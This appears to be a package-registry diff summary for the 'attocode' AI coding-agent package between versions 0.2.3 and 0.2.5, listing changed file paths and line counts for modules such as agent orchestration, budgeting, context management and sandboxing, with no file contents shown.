attocode 0.2.3 → 0.2.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +122 -1
- package/README.md +65 -5
- package/dist/src/adapters.d.ts +2 -1
- package/dist/src/adapters.d.ts.map +1 -1
- package/dist/src/adapters.js +74 -12
- package/dist/src/adapters.js.map +1 -1
- package/dist/src/agent/agent-builder.d.ts +117 -0
- package/dist/src/agent/agent-builder.d.ts.map +1 -0
- package/dist/src/agent/agent-builder.js +204 -0
- package/dist/src/agent/agent-builder.js.map +1 -0
- package/dist/src/agent/feature-initializer.d.ts +80 -0
- package/dist/src/agent/feature-initializer.d.ts.map +1 -0
- package/dist/src/agent/feature-initializer.js +677 -0
- package/dist/src/agent/feature-initializer.js.map +1 -0
- package/dist/src/agent/index.d.ts +13 -0
- package/dist/src/agent/index.d.ts.map +1 -0
- package/dist/src/agent/index.js +13 -0
- package/dist/src/agent/index.js.map +1 -0
- package/dist/src/agent/message-builder.d.ts +50 -0
- package/dist/src/agent/message-builder.d.ts.map +1 -0
- package/dist/src/agent/message-builder.js +173 -0
- package/dist/src/agent/message-builder.js.map +1 -0
- package/dist/src/agent/session-api.d.ts +94 -0
- package/dist/src/agent/session-api.d.ts.map +1 -0
- package/dist/src/agent/session-api.js +262 -0
- package/dist/src/agent/session-api.js.map +1 -0
- package/dist/src/agent-tools/lsp-file-tools.d.ts +1 -1
- package/dist/src/agent-tools/lsp-file-tools.d.ts.map +1 -1
- package/dist/src/agent.d.ts +52 -213
- package/dist/src/agent.d.ts.map +1 -1
- package/dist/src/agent.js +544 -4072
- package/dist/src/agent.js.map +1 -1
- package/dist/src/cli.d.ts.map +1 -1
- package/dist/src/cli.js +2 -1
- package/dist/src/cli.js.map +1 -1
- package/dist/src/commands/handler.d.ts.map +1 -1
- package/dist/src/commands/handler.js +18 -9
- package/dist/src/commands/handler.js.map +1 -1
- package/dist/src/commands/init-commands.d.ts.map +1 -1
- package/dist/src/commands/init-commands.js +16 -1
- package/dist/src/commands/init-commands.js.map +1 -1
- package/dist/src/commands/init.d.ts.map +1 -1
- package/dist/src/commands/init.js +31 -0
- package/dist/src/commands/init.js.map +1 -1
- package/dist/src/config/base-types.d.ts +45 -0
- package/dist/src/config/base-types.d.ts.map +1 -0
- package/dist/src/config/base-types.js +9 -0
- package/dist/src/config/base-types.js.map +1 -0
- package/dist/src/config/config-manager.d.ts +35 -0
- package/dist/src/config/config-manager.d.ts.map +1 -0
- package/dist/src/config/config-manager.js +108 -0
- package/dist/src/config/config-manager.js.map +1 -0
- package/dist/src/config/index.d.ts +4 -0
- package/dist/src/config/index.d.ts.map +1 -0
- package/dist/src/config/index.js +3 -0
- package/dist/src/config/index.js.map +1 -0
- package/dist/src/config/schema.d.ts +1546 -0
- package/dist/src/config/schema.d.ts.map +1 -0
- package/dist/src/config/schema.js +268 -0
- package/dist/src/config/schema.js.map +1 -0
- package/dist/src/config.d.ts +4 -1
- package/dist/src/config.d.ts.map +1 -1
- package/dist/src/config.js +8 -12
- package/dist/src/config.js.map +1 -1
- package/dist/src/core/agent-state-machine.d.ts +131 -0
- package/dist/src/core/agent-state-machine.d.ts.map +1 -0
- package/dist/src/core/agent-state-machine.js +302 -0
- package/dist/src/core/agent-state-machine.js.map +1 -0
- package/dist/src/core/base-manager.d.ts +79 -0
- package/dist/src/core/base-manager.d.ts.map +1 -0
- package/dist/src/core/base-manager.js +170 -0
- package/dist/src/core/base-manager.js.map +1 -0
- package/dist/src/core/completion-analyzer.d.ts +15 -0
- package/dist/src/core/completion-analyzer.d.ts.map +1 -0
- package/dist/src/core/completion-analyzer.js +53 -0
- package/dist/src/core/completion-analyzer.js.map +1 -0
- package/dist/src/core/execution-loop.d.ts +46 -0
- package/dist/src/core/execution-loop.d.ts.map +1 -0
- package/dist/src/core/execution-loop.js +1397 -0
- package/dist/src/core/execution-loop.js.map +1 -0
- package/dist/src/core/index.d.ts +7 -0
- package/dist/src/core/index.d.ts.map +1 -1
- package/dist/src/core/index.js +9 -0
- package/dist/src/core/index.js.map +1 -1
- package/dist/src/core/process-handlers.d.ts.map +1 -1
- package/dist/src/core/process-handlers.js +14 -0
- package/dist/src/core/process-handlers.js.map +1 -1
- package/dist/src/core/protocol/types.d.ts +12 -12
- package/dist/src/core/response-handler.d.ts +16 -0
- package/dist/src/core/response-handler.d.ts.map +1 -0
- package/dist/src/core/response-handler.js +235 -0
- package/dist/src/core/response-handler.js.map +1 -0
- package/dist/src/core/subagent-spawner.d.ts +43 -0
- package/dist/src/core/subagent-spawner.d.ts.map +1 -0
- package/dist/src/core/subagent-spawner.js +973 -0
- package/dist/src/core/subagent-spawner.js.map +1 -0
- package/dist/src/core/tool-executor.d.ts +59 -0
- package/dist/src/core/tool-executor.d.ts.map +1 -0
- package/dist/src/core/tool-executor.js +682 -0
- package/dist/src/core/tool-executor.js.map +1 -0
- package/dist/src/core/types.d.ts +134 -0
- package/dist/src/core/types.d.ts.map +1 -0
- package/dist/src/core/types.js +12 -0
- package/dist/src/core/types.js.map +1 -0
- package/dist/src/defaults.d.ts +2 -2
- package/dist/src/defaults.d.ts.map +1 -1
- package/dist/src/defaults.js +29 -1
- package/dist/src/defaults.js.map +1 -1
- package/dist/src/integrations/agents/agent-registry.d.ts +262 -0
- package/dist/src/integrations/agents/agent-registry.d.ts.map +1 -0
- package/dist/src/integrations/agents/agent-registry.js +686 -0
- package/dist/src/integrations/agents/agent-registry.js.map +1 -0
- package/dist/src/integrations/agents/async-subagent.d.ts +135 -0
- package/dist/src/integrations/agents/async-subagent.d.ts.map +1 -0
- package/dist/src/integrations/agents/async-subagent.js +213 -0
- package/dist/src/integrations/agents/async-subagent.js.map +1 -0
- package/dist/src/integrations/agents/complexity-classifier.d.ts +86 -0
- package/dist/src/integrations/agents/complexity-classifier.d.ts.map +1 -0
- package/dist/src/integrations/agents/complexity-classifier.js +233 -0
- package/dist/src/integrations/agents/complexity-classifier.js.map +1 -0
- package/dist/src/integrations/agents/delegation-protocol.d.ts +86 -0
- package/dist/src/integrations/agents/delegation-protocol.d.ts.map +1 -0
- package/dist/src/integrations/agents/delegation-protocol.js +127 -0
- package/dist/src/integrations/agents/delegation-protocol.js.map +1 -0
- package/dist/src/integrations/agents/multi-agent.d.ts +150 -0
- package/dist/src/integrations/agents/multi-agent.d.ts.map +1 -0
- package/dist/src/integrations/agents/multi-agent.js +306 -0
- package/dist/src/integrations/agents/multi-agent.js.map +1 -0
- package/dist/src/integrations/agents/result-synthesizer.d.ts +389 -0
- package/dist/src/integrations/agents/result-synthesizer.d.ts.map +1 -0
- package/dist/src/integrations/agents/result-synthesizer.js +951 -0
- package/dist/src/integrations/agents/result-synthesizer.js.map +1 -0
- package/dist/src/integrations/agents/shared-blackboard.d.ts +406 -0
- package/dist/src/integrations/agents/shared-blackboard.d.ts.map +1 -0
- package/dist/src/integrations/agents/shared-blackboard.js +757 -0
- package/dist/src/integrations/agents/shared-blackboard.js.map +1 -0
- package/dist/src/integrations/agents/subagent-output-store.d.ts +91 -0
- package/dist/src/integrations/agents/subagent-output-store.d.ts.map +1 -0
- package/dist/src/integrations/agents/subagent-output-store.js +257 -0
- package/dist/src/integrations/agents/subagent-output-store.js.map +1 -0
- package/dist/src/integrations/auto-compaction.d.ts.map +1 -1
- package/dist/src/integrations/auto-compaction.js +3 -2
- package/dist/src/integrations/auto-compaction.js.map +1 -1
- package/dist/src/integrations/budget/budget-pool.d.ts +115 -0
- package/dist/src/integrations/budget/budget-pool.d.ts.map +1 -0
- package/dist/src/integrations/budget/budget-pool.js +205 -0
- package/dist/src/integrations/budget/budget-pool.js.map +1 -0
- package/dist/src/integrations/budget/cancellation.d.ts +229 -0
- package/dist/src/integrations/budget/cancellation.d.ts.map +1 -0
- package/dist/src/integrations/budget/cancellation.js +520 -0
- package/dist/src/integrations/budget/cancellation.js.map +1 -0
- package/dist/src/integrations/budget/dynamic-budget.d.ts +81 -0
- package/dist/src/integrations/budget/dynamic-budget.d.ts.map +1 -0
- package/dist/src/integrations/budget/dynamic-budget.js +151 -0
- package/dist/src/integrations/budget/dynamic-budget.js.map +1 -0
- package/dist/src/integrations/budget/economics.d.ts +435 -0
- package/dist/src/integrations/budget/economics.d.ts.map +1 -0
- package/dist/src/integrations/budget/economics.js +1007 -0
- package/dist/src/integrations/budget/economics.js.map +1 -0
- package/dist/src/integrations/budget/injection-budget.d.ts +71 -0
- package/dist/src/integrations/budget/injection-budget.d.ts.map +1 -0
- package/dist/src/integrations/budget/injection-budget.js +137 -0
- package/dist/src/integrations/budget/injection-budget.js.map +1 -0
- package/dist/src/integrations/budget/loop-detector.d.ts +105 -0
- package/dist/src/integrations/budget/loop-detector.d.ts.map +1 -0
- package/dist/src/integrations/budget/loop-detector.js +287 -0
- package/dist/src/integrations/budget/loop-detector.js.map +1 -0
- package/dist/src/integrations/budget/phase-tracker.d.ts +114 -0
- package/dist/src/integrations/budget/phase-tracker.d.ts.map +1 -0
- package/dist/src/integrations/budget/phase-tracker.js +262 -0
- package/dist/src/integrations/budget/phase-tracker.js.map +1 -0
- package/dist/src/integrations/budget/resources.d.ts +182 -0
- package/dist/src/integrations/budget/resources.d.ts.map +1 -0
- package/dist/src/integrations/budget/resources.js +318 -0
- package/dist/src/integrations/budget/resources.js.map +1 -0
- package/dist/src/integrations/budget-pool.d.ts +7 -0
- package/dist/src/integrations/budget-pool.d.ts.map +1 -1
- package/dist/src/integrations/budget-pool.js +43 -0
- package/dist/src/integrations/budget-pool.js.map +1 -1
- package/dist/src/integrations/codebase-ast.d.ts +52 -0
- package/dist/src/integrations/codebase-ast.d.ts.map +1 -0
- package/dist/src/integrations/codebase-ast.js +457 -0
- package/dist/src/integrations/codebase-ast.js.map +1 -0
- package/dist/src/integrations/codebase-context.d.ts +18 -0
- package/dist/src/integrations/codebase-context.d.ts.map +1 -1
- package/dist/src/integrations/codebase-context.js +197 -17
- package/dist/src/integrations/codebase-context.js.map +1 -1
- package/dist/src/integrations/compaction.d.ts.map +1 -1
- package/dist/src/integrations/compaction.js +14 -6
- package/dist/src/integrations/compaction.js.map +1 -1
- package/dist/src/integrations/context/auto-compaction.d.ts +210 -0
- package/dist/src/integrations/context/auto-compaction.d.ts.map +1 -0
- package/dist/src/integrations/context/auto-compaction.js +477 -0
- package/dist/src/integrations/context/auto-compaction.js.map +1 -0
- package/dist/src/integrations/context/code-analyzer.d.ts +71 -0
- package/dist/src/integrations/context/code-analyzer.d.ts.map +1 -0
- package/dist/src/integrations/context/code-analyzer.js +448 -0
- package/dist/src/integrations/context/code-analyzer.js.map +1 -0
- package/dist/src/integrations/context/code-selector.d.ts +78 -0
- package/dist/src/integrations/context/code-selector.d.ts.map +1 -0
- package/dist/src/integrations/context/code-selector.js +649 -0
- package/dist/src/integrations/context/code-selector.js.map +1 -0
- package/dist/src/integrations/context/codebase-ast.d.ts +138 -0
- package/dist/src/integrations/context/codebase-ast.d.ts.map +1 -0
- package/dist/src/integrations/context/codebase-ast.js +818 -0
- package/dist/src/integrations/context/codebase-ast.js.map +1 -0
- package/dist/src/integrations/context/codebase-context.d.ts +473 -0
- package/dist/src/integrations/context/codebase-context.d.ts.map +1 -0
- package/dist/src/integrations/context/codebase-context.js +685 -0
- package/dist/src/integrations/context/codebase-context.js.map +1 -0
- package/dist/src/integrations/context/compaction.d.ts +191 -0
- package/dist/src/integrations/context/compaction.d.ts.map +1 -0
- package/dist/src/integrations/context/compaction.js +384 -0
- package/dist/src/integrations/context/compaction.js.map +1 -0
- package/dist/src/integrations/context/context-engineering.d.ts +274 -0
- package/dist/src/integrations/context/context-engineering.d.ts.map +1 -0
- package/dist/src/integrations/context/context-engineering.js +437 -0
- package/dist/src/integrations/context/context-engineering.js.map +1 -0
- package/dist/src/integrations/context/file-cache.d.ts +97 -0
- package/dist/src/integrations/context/file-cache.d.ts.map +1 -0
- package/dist/src/integrations/context/file-cache.js +218 -0
- package/dist/src/integrations/context/file-cache.js.map +1 -0
- package/dist/src/integrations/context/semantic-cache.d.ts +178 -0
- package/dist/src/integrations/context/semantic-cache.d.ts.map +1 -0
- package/dist/src/integrations/context/semantic-cache.js +372 -0
- package/dist/src/integrations/context/semantic-cache.js.map +1 -0
- package/dist/src/integrations/context-engineering.d.ts +8 -0
- package/dist/src/integrations/context-engineering.d.ts.map +1 -1
- package/dist/src/integrations/context-engineering.js +19 -0
- package/dist/src/integrations/context-engineering.js.map +1 -1
- package/dist/src/integrations/economics.d.ts +25 -1
- package/dist/src/integrations/economics.d.ts.map +1 -1
- package/dist/src/integrations/economics.js +217 -38
- package/dist/src/integrations/economics.js.map +1 -1
- package/dist/src/integrations/edit-validator.d.ts +30 -0
- package/dist/src/integrations/edit-validator.d.ts.map +1 -0
- package/dist/src/integrations/edit-validator.js +85 -0
- package/dist/src/integrations/edit-validator.js.map +1 -0
- package/dist/src/integrations/file-cache.d.ts +7 -0
- package/dist/src/integrations/file-cache.d.ts.map +1 -1
- package/dist/src/integrations/file-cache.js +54 -0
- package/dist/src/integrations/file-cache.js.map +1 -1
- package/dist/src/integrations/health-check.d.ts.map +1 -1
- package/dist/src/integrations/health-check.js +3 -2
- package/dist/src/integrations/health-check.js.map +1 -1
- package/dist/src/integrations/hierarchical-config.d.ts +3 -0
- package/dist/src/integrations/hierarchical-config.d.ts.map +1 -1
- package/dist/src/integrations/hierarchical-config.js +3 -0
- package/dist/src/integrations/hierarchical-config.js.map +1 -1
- package/dist/src/integrations/hooks.d.ts +2 -0
- package/dist/src/integrations/hooks.d.ts.map +1 -1
- package/dist/src/integrations/hooks.js +99 -15
- package/dist/src/integrations/hooks.js.map +1 -1
- package/dist/src/integrations/index.d.ts +77 -66
- package/dist/src/integrations/index.d.ts.map +1 -1
- package/dist/src/integrations/index.js +83 -67
- package/dist/src/integrations/index.js.map +1 -1
- package/dist/src/integrations/logger.d.ts +104 -0
- package/dist/src/integrations/logger.d.ts.map +1 -0
- package/dist/src/integrations/logger.js +219 -0
- package/dist/src/integrations/logger.js.map +1 -0
- package/dist/src/integrations/lsp/lsp.d.ts +196 -0
- package/dist/src/integrations/lsp/lsp.d.ts.map +1 -0
- package/dist/src/integrations/lsp/lsp.js +583 -0
- package/dist/src/integrations/lsp/lsp.js.map +1 -0
- package/dist/src/integrations/lsp.d.ts.map +1 -1
- package/dist/src/integrations/lsp.js +5 -4
- package/dist/src/integrations/lsp.js.map +1 -1
- package/dist/src/integrations/mcp/mcp-client.d.ts +279 -0
- package/dist/src/integrations/mcp/mcp-client.d.ts.map +1 -0
- package/dist/src/integrations/mcp/mcp-client.js +755 -0
- package/dist/src/integrations/mcp/mcp-client.js.map +1 -0
- package/dist/src/integrations/mcp/mcp-custom-tools.d.ts +102 -0
- package/dist/src/integrations/mcp/mcp-custom-tools.d.ts.map +1 -0
- package/dist/src/integrations/mcp/mcp-custom-tools.js +232 -0
- package/dist/src/integrations/mcp/mcp-custom-tools.js.map +1 -0
- package/dist/src/integrations/mcp/mcp-tool-search.d.ts +77 -0
- package/dist/src/integrations/mcp/mcp-tool-search.d.ts.map +1 -0
- package/dist/src/integrations/mcp/mcp-tool-search.js +220 -0
- package/dist/src/integrations/mcp/mcp-tool-search.js.map +1 -0
- package/dist/src/integrations/mcp/mcp-tool-validator.d.ts +60 -0
- package/dist/src/integrations/mcp/mcp-tool-validator.d.ts.map +1 -0
- package/dist/src/integrations/mcp/mcp-tool-validator.js +141 -0
- package/dist/src/integrations/mcp/mcp-tool-validator.js.map +1 -0
- package/dist/src/integrations/mcp-client.d.ts.map +1 -1
- package/dist/src/integrations/mcp-client.js +8 -7
- package/dist/src/integrations/mcp-client.js.map +1 -1
- package/dist/src/integrations/observability.d.ts.map +1 -1
- package/dist/src/integrations/observability.js +5 -4
- package/dist/src/integrations/observability.js.map +1 -1
- package/dist/src/integrations/openrouter-pricing.d.ts.map +1 -1
- package/dist/src/integrations/openrouter-pricing.js +4 -3
- package/dist/src/integrations/openrouter-pricing.js.map +1 -1
- package/dist/src/integrations/persistence/codebase-repository.d.ts +45 -0
- package/dist/src/integrations/persistence/codebase-repository.d.ts.map +1 -0
- package/dist/src/integrations/persistence/codebase-repository.js +81 -0
- package/dist/src/integrations/persistence/codebase-repository.js.map +1 -0
- package/dist/src/integrations/persistence/goal-repository.d.ts +71 -0
- package/dist/src/integrations/persistence/goal-repository.d.ts.map +1 -0
- package/dist/src/integrations/persistence/goal-repository.js +184 -0
- package/dist/src/integrations/persistence/goal-repository.js.map +1 -0
- package/dist/src/integrations/persistence/history.d.ts +72 -0
- package/dist/src/integrations/persistence/history.d.ts.map +1 -0
- package/dist/src/integrations/persistence/history.js +165 -0
- package/dist/src/integrations/persistence/history.js.map +1 -0
- package/dist/src/integrations/persistence/persistence.d.ts +49 -0
- package/dist/src/integrations/persistence/persistence.d.ts.map +1 -0
- package/dist/src/integrations/persistence/persistence.js +197 -0
- package/dist/src/integrations/persistence/persistence.js.map +1 -0
- package/dist/src/integrations/persistence/session-repository.d.ts +212 -0
- package/dist/src/integrations/persistence/session-repository.d.ts.map +1 -0
- package/dist/src/integrations/persistence/session-repository.js +770 -0
- package/dist/src/integrations/persistence/session-repository.js.map +1 -0
- package/dist/src/integrations/persistence/session-store.d.ts +184 -0
- package/dist/src/integrations/persistence/session-store.d.ts.map +1 -0
- package/dist/src/integrations/persistence/session-store.js +346 -0
- package/dist/src/integrations/persistence/session-store.js.map +1 -0
- package/dist/src/integrations/persistence/sqlite-store.d.ts +453 -0
- package/dist/src/integrations/persistence/sqlite-store.d.ts.map +1 -0
- package/dist/src/integrations/persistence/sqlite-store.js +676 -0
- package/dist/src/integrations/persistence/sqlite-store.js.map +1 -0
- package/dist/src/integrations/persistence/worker-repository.d.ts +65 -0
- package/dist/src/integrations/persistence/worker-repository.d.ts.map +1 -0
- package/dist/src/integrations/persistence/worker-repository.js +183 -0
- package/dist/src/integrations/persistence/worker-repository.js.map +1 -0
- package/dist/src/integrations/persistence.d.ts.map +1 -1
- package/dist/src/integrations/persistence.js +5 -4
- package/dist/src/integrations/persistence.js.map +1 -1
- package/dist/src/integrations/planning.d.ts.map +1 -1
- package/dist/src/integrations/planning.js +5 -4
- package/dist/src/integrations/planning.js.map +1 -1
- package/dist/src/integrations/quality/auto-checkpoint.d.ts +98 -0
- package/dist/src/integrations/quality/auto-checkpoint.d.ts.map +1 -0
- package/dist/src/integrations/quality/auto-checkpoint.js +252 -0
- package/dist/src/integrations/quality/auto-checkpoint.js.map +1 -0
- package/dist/src/integrations/quality/dead-letter-queue.d.ts +233 -0
- package/dist/src/integrations/quality/dead-letter-queue.d.ts.map +1 -0
- package/dist/src/integrations/quality/dead-letter-queue.js +543 -0
- package/dist/src/integrations/quality/dead-letter-queue.js.map +1 -0
- package/dist/src/integrations/quality/health-check.d.ts +218 -0
- package/dist/src/integrations/quality/health-check.d.ts.map +1 -0
- package/dist/src/integrations/quality/health-check.js +415 -0
- package/dist/src/integrations/quality/health-check.js.map +1 -0
- package/dist/src/integrations/quality/learning-store.d.ts +291 -0
- package/dist/src/integrations/quality/learning-store.d.ts.map +1 -0
- package/dist/src/integrations/quality/learning-store.js +646 -0
- package/dist/src/integrations/quality/learning-store.js.map +1 -0
- package/dist/src/integrations/quality/self-improvement.d.ts +90 -0
- package/dist/src/integrations/quality/self-improvement.d.ts.map +1 -0
- package/dist/src/integrations/quality/self-improvement.js +229 -0
- package/dist/src/integrations/quality/self-improvement.js.map +1 -0
- package/dist/src/integrations/quality/tool-recommendation.d.ts +61 -0
- package/dist/src/integrations/quality/tool-recommendation.d.ts.map +1 -0
- package/dist/src/integrations/quality/tool-recommendation.js +268 -0
- package/dist/src/integrations/quality/tool-recommendation.js.map +1 -0
- package/dist/src/integrations/retry.d.ts +1 -0
- package/dist/src/integrations/retry.d.ts.map +1 -1
- package/dist/src/integrations/retry.js.map +1 -1
- package/dist/src/integrations/routing.d.ts.map +1 -1
- package/dist/src/integrations/routing.js +2 -1
- package/dist/src/integrations/routing.js.map +1 -1
- package/dist/src/integrations/safety/bash-policy.d.ts +33 -0
- package/dist/src/integrations/safety/bash-policy.d.ts.map +1 -0
- package/dist/src/integrations/safety/bash-policy.js +144 -0
- package/dist/src/integrations/safety/bash-policy.js.map +1 -0
- package/dist/src/integrations/safety/edit-validator.d.ts +30 -0
- package/dist/src/integrations/safety/edit-validator.d.ts.map +1 -0
- package/dist/src/integrations/safety/edit-validator.js +87 -0
- package/dist/src/integrations/safety/edit-validator.js.map +1 -0
- package/dist/src/integrations/safety/execution-policy.d.ts +189 -0
- package/dist/src/integrations/safety/execution-policy.d.ts.map +1 -0
- package/dist/src/integrations/safety/execution-policy.js +352 -0
- package/dist/src/integrations/safety/execution-policy.js.map +1 -0
- package/dist/src/integrations/safety/policy-engine.d.ts +55 -0
- package/dist/src/integrations/safety/policy-engine.d.ts.map +1 -0
- package/dist/src/integrations/safety/policy-engine.js +247 -0
- package/dist/src/integrations/safety/policy-engine.js.map +1 -0
- package/dist/src/integrations/safety/safety.d.ts +174 -0
- package/dist/src/integrations/safety/safety.d.ts.map +1 -0
- package/dist/src/integrations/safety/safety.js +470 -0
- package/dist/src/integrations/safety/safety.js.map +1 -0
- package/dist/src/integrations/safety/sandbox/basic.d.ts +81 -0
- package/dist/src/integrations/safety/sandbox/basic.d.ts.map +1 -0
- package/dist/src/integrations/safety/sandbox/basic.js +335 -0
- package/dist/src/integrations/safety/sandbox/basic.js.map +1 -0
- package/dist/src/integrations/safety/sandbox/docker.d.ts +94 -0
- package/dist/src/integrations/safety/sandbox/docker.d.ts.map +1 -0
- package/dist/src/integrations/safety/sandbox/docker.js +294 -0
- package/dist/src/integrations/safety/sandbox/docker.js.map +1 -0
- package/dist/src/integrations/safety/sandbox/index.d.ts +188 -0
- package/dist/src/integrations/safety/sandbox/index.d.ts.map +1 -0
- package/dist/src/integrations/safety/sandbox/index.js +386 -0
- package/dist/src/integrations/safety/sandbox/index.js.map +1 -0
- package/dist/src/integrations/safety/sandbox/landlock.d.ts +59 -0
- package/dist/src/integrations/safety/sandbox/landlock.d.ts.map +1 -0
- package/dist/src/integrations/safety/sandbox/landlock.js +329 -0
- package/dist/src/integrations/safety/sandbox/landlock.js.map +1 -0
- package/dist/src/integrations/safety/sandbox/seatbelt.d.ts +68 -0
- package/dist/src/integrations/safety/sandbox/seatbelt.d.ts.map +1 -0
- package/dist/src/integrations/safety/sandbox/seatbelt.js +298 -0
- package/dist/src/integrations/safety/sandbox/seatbelt.js.map +1 -0
- package/dist/src/integrations/safety/type-checker.d.ts +53 -0
- package/dist/src/integrations/safety/type-checker.d.ts.map +1 -0
- package/dist/src/integrations/safety/type-checker.js +142 -0
- package/dist/src/integrations/safety/type-checker.js.map +1 -0
- package/dist/src/integrations/safety.d.ts.map +1 -1
- package/dist/src/integrations/safety.js +13 -13
- package/dist/src/integrations/safety.js.map +1 -1
- package/dist/src/integrations/sandbox/docker.d.ts.map +1 -1
- package/dist/src/integrations/sandbox/docker.js +2 -1
- package/dist/src/integrations/sandbox/docker.js.map +1 -1
- package/dist/src/integrations/sandbox/index.d.ts.map +1 -1
- package/dist/src/integrations/sandbox/index.js +5 -4
- package/dist/src/integrations/sandbox/index.js.map +1 -1
- package/dist/src/integrations/session-store.d.ts +1 -0
- package/dist/src/integrations/session-store.d.ts.map +1 -1
- package/dist/src/integrations/session-store.js +1 -0
- package/dist/src/integrations/session-store.js.map +1 -1
- package/dist/src/integrations/shared-blackboard.d.ts +3 -0
- package/dist/src/integrations/shared-blackboard.d.ts.map +1 -1
- package/dist/src/integrations/shared-blackboard.js +47 -0
- package/dist/src/integrations/shared-blackboard.js.map +1 -1
- package/dist/src/integrations/skills/skill-executor.d.ts +113 -0
- package/dist/src/integrations/skills/skill-executor.d.ts.map +1 -0
- package/dist/src/integrations/skills/skill-executor.js +270 -0
- package/dist/src/integrations/skills/skill-executor.js.map +1 -0
- package/dist/src/integrations/skills/skills.d.ts +262 -0
- package/dist/src/integrations/skills/skills.d.ts.map +1 -0
- package/dist/src/integrations/skills/skills.js +602 -0
- package/dist/src/integrations/skills/skills.js.map +1 -0
- package/dist/src/integrations/smart-decomposer.d.ts +27 -0
- package/dist/src/integrations/smart-decomposer.d.ts.map +1 -1
- package/dist/src/integrations/smart-decomposer.js +414 -30
- package/dist/src/integrations/smart-decomposer.js.map +1 -1
- package/dist/src/integrations/sqlite-store.d.ts +2 -0
- package/dist/src/integrations/sqlite-store.d.ts.map +1 -1
- package/dist/src/integrations/sqlite-store.js +18 -6
- package/dist/src/integrations/sqlite-store.js.map +1 -1
- package/dist/src/integrations/streaming/pty-shell.d.ts +169 -0
- package/dist/src/integrations/streaming/pty-shell.d.ts.map +1 -0
- package/dist/src/integrations/streaming/pty-shell.js +367 -0
- package/dist/src/integrations/streaming/pty-shell.js.map +1 -0
- package/dist/src/integrations/streaming/streaming.d.ts +102 -0
- package/dist/src/integrations/streaming/streaming.d.ts.map +1 -0
- package/dist/src/integrations/streaming/streaming.js +362 -0
- package/dist/src/integrations/streaming/streaming.js.map +1 -0
- package/dist/src/integrations/swarm/failure-classifier.d.ts +11 -0
- package/dist/src/integrations/swarm/failure-classifier.d.ts.map +1 -0
- package/dist/src/integrations/swarm/failure-classifier.js +95 -0
- package/dist/src/integrations/swarm/failure-classifier.js.map +1 -0
- package/dist/src/integrations/swarm/index.d.ts +2 -1
- package/dist/src/integrations/swarm/index.d.ts.map +1 -1
- package/dist/src/integrations/swarm/index.js +2 -0
- package/dist/src/integrations/swarm/index.js.map +1 -1
- package/dist/src/integrations/swarm/model-selector.d.ts.map +1 -1
- package/dist/src/integrations/swarm/model-selector.js +2 -1
- package/dist/src/integrations/swarm/model-selector.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-budget.d.ts +1 -1
- package/dist/src/integrations/swarm/swarm-budget.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-budget.js +1 -1
- package/dist/src/integrations/swarm/swarm-budget.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-config-loader.d.ts +8 -0
- package/dist/src/integrations/swarm/swarm-config-loader.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-config-loader.js +102 -0
- package/dist/src/integrations/swarm/swarm-config-loader.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-event-bridge.d.ts +74 -0
- package/dist/src/integrations/swarm/swarm-event-bridge.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-event-bridge.js +37 -0
- package/dist/src/integrations/swarm/swarm-event-bridge.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-events.d.ts +4 -1
- package/dist/src/integrations/swarm/swarm-events.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-events.js +1 -1
- package/dist/src/integrations/swarm/swarm-events.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-execution.d.ts +27 -0
- package/dist/src/integrations/swarm/swarm-execution.d.ts.map +1 -0
- package/dist/src/integrations/swarm/swarm-execution.js +1021 -0
- package/dist/src/integrations/swarm/swarm-execution.js.map +1 -0
- package/dist/src/integrations/swarm/swarm-helpers.d.ts +26 -0
- package/dist/src/integrations/swarm/swarm-helpers.d.ts.map +1 -0
- package/dist/src/integrations/swarm/swarm-helpers.js +95 -0
- package/dist/src/integrations/swarm/swarm-helpers.js.map +1 -0
- package/dist/src/integrations/swarm/swarm-lifecycle.d.ts +100 -0
- package/dist/src/integrations/swarm/swarm-lifecycle.d.ts.map +1 -0
- package/dist/src/integrations/swarm/swarm-lifecycle.js +922 -0
- package/dist/src/integrations/swarm/swarm-lifecycle.js.map +1 -0
- package/dist/src/integrations/swarm/swarm-orchestrator.d.ts +96 -192
- package/dist/src/integrations/swarm/swarm-orchestrator.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-orchestrator.js +384 -2528
- package/dist/src/integrations/swarm/swarm-orchestrator.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-quality-gate.js +1 -1
- package/dist/src/integrations/swarm/swarm-quality-gate.js.map +1 -1
- package/dist/src/integrations/swarm/swarm-recovery.d.ts +75 -0
- package/dist/src/integrations/swarm/swarm-recovery.d.ts.map +1 -0
- package/dist/src/integrations/swarm/swarm-recovery.js +550 -0
- package/dist/src/integrations/swarm/swarm-recovery.js.map +1 -0
- package/dist/src/integrations/swarm/swarm-state-store.d.ts +4 -1
- package/dist/src/integrations/swarm/swarm-state-store.d.ts.map +1 -1
- package/dist/src/integrations/swarm/swarm-state-store.js +14 -1
- package/dist/src/integrations/swarm/swarm-state-store.js.map +1 -1
- package/dist/src/integrations/swarm/task-queue.d.ts +11 -1
- package/dist/src/integrations/swarm/task-queue.d.ts.map +1 -1
- package/dist/src/integrations/swarm/task-queue.js +64 -2
- package/dist/src/integrations/swarm/task-queue.js.map +1 -1
- package/dist/src/integrations/swarm/types.d.ts +57 -4
- package/dist/src/integrations/swarm/types.d.ts.map +1 -1
- package/dist/src/integrations/swarm/types.js +9 -0
- package/dist/src/integrations/swarm/types.js.map +1 -1
- package/dist/src/integrations/swarm/worker-pool.d.ts +13 -3
- package/dist/src/integrations/swarm/worker-pool.d.ts.map +1 -1
- package/dist/src/integrations/swarm/worker-pool.js +66 -13
- package/dist/src/integrations/swarm/worker-pool.js.map +1 -1
- package/dist/src/integrations/task-manager.d.ts +33 -1
- package/dist/src/integrations/task-manager.d.ts.map +1 -1
- package/dist/src/integrations/task-manager.js +78 -4
- package/dist/src/integrations/task-manager.js.map +1 -1
- package/dist/src/integrations/tasks/dependency-analyzer.d.ts +34 -0
- package/dist/src/integrations/tasks/dependency-analyzer.d.ts.map +1 -0
